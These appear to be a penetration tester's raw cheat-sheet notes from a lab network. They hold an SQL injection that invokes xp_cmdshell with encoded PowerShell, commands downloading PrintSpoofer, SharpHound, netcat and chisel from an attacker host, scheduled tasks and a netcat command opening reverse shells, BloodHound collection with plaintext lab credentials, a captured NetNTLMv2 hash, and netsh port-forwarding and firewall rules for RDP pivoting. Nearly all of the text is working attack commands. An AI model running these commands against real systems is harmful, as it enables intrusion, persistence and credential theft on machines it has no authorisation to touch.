webpage sql incjection: 

' EXEC xp_cmdshell 'powershell -e  


iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)PrintSpoofer64.exe -Outfile pf.exe
iwr -uri <http://192.168.45.198:8888/>SharpHound.exe  -Outfile SharpHound.exe
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)nc.exe -Outfile nc.exe
iwr -uri <http://192.168.45.198:8888/>chisel_1.9.1_windows_amd64  -Outfile chiesel.exe
iwr -uri [http://192.168.45.203:8888/](http://192.168.45.198:8888/nc.exe)agent.exe -Outfile agent.exe

```powershell
schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr "c:\Users\web_svc\ns"
```

`schtasks /create /sc minute /mo 1 /tn "Reverse shell2" /tr "c:\users\sql_svc\nc.exe 10.10.14.56 4242 -e cmd.exe"`

`schtasks /create /s "PC-NAME" /tn "My App" /tr "PATH" /sc minute /mo 1 /u Domain\User /p password`

c:\users\a.hansen\desktop\nc.exe -e cmd.exe 192.168.49.91 4444

invoke-bloodhound -collectionmethod all -domain medtech.com -ldapuser joe -ldappass Flowers1 -zipFileName loot.zip


WEB02$::MEDTECH:1122334455667788:fc9d3e73bbbf28562c0aab342f0f95cc:0101000000000000e8672fa2d7c6da0155d090522781b7bb00000000080030003000000000000000000000000030000052e5b4d9e1d59e5faa306b0417df176ee00305b9b4219ccaccf2330883db92960a00100000000000000000000000000000000000090000000000000000000000


netsh interface portproxy add v4tov4 listenport=3389 listenaddress=**192.168.229.121** connectport=3389 connectaddress=**172.16.229.12**

Accept port forwarding 
netsh advfirewall firewall add rule name="port_forward_rdp_3389" protocol=TCP dir=in localip=**192.168.229.121** localport=3389 action=allow